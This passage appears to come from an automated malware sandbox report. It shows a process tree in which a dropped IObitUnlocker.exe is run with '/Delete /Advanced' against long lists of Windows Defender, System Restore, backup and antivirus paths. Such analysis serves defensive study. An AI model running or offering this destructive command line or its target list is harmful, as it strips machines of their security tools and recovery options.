Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\drivers\wuauserv.sys","C:\Windows\SysWOW64\drivers\wuauserv.sys","C:\Windows\system32\drivers\BITS.sys","C:\Windows\SysWOW64\drivers\BITS.sys","C:\Windows\system32\migwiz","C:\Windows\system32\migration","C:\Windows\SysWOW64\migwiz","C:\Windows\SysWOW64\migration","C:\Windows\Migration","C:\Windows\SystemMigration","C:\ProgramData\Microsoft\Network\Downloader","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                        7⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of SetWindowsHookEx
                                        PID:5192
                                      • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\drivers\wuauserv.sys","C:\Windows\SysWOW64\drivers\wuauserv.sys","C:\Windows\system32\drivers\BITS.sys","C:\Windows\SysWOW64\drivers\BITS.sys","C:\Windows\system32\migwiz","C:\Windows\system32\migration","C:\Windows\SysWOW64\migwiz","C:\Windows\SysWOW64\migration","C:\Windows\Migration","C:\Windows\SystemMigration","C:\ProgramData\Microsoft\Network\Downloader","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                        7⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of SetWindowsHookEx
                                        PID:560
                                      • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\drivers\wuauserv.sys","C:\Windows\SysWOW64\drivers\wuauserv.sys","C:\Windows\system32\drivers\BITS.sys","C:\Windows\SysWOW64\drivers\BITS.s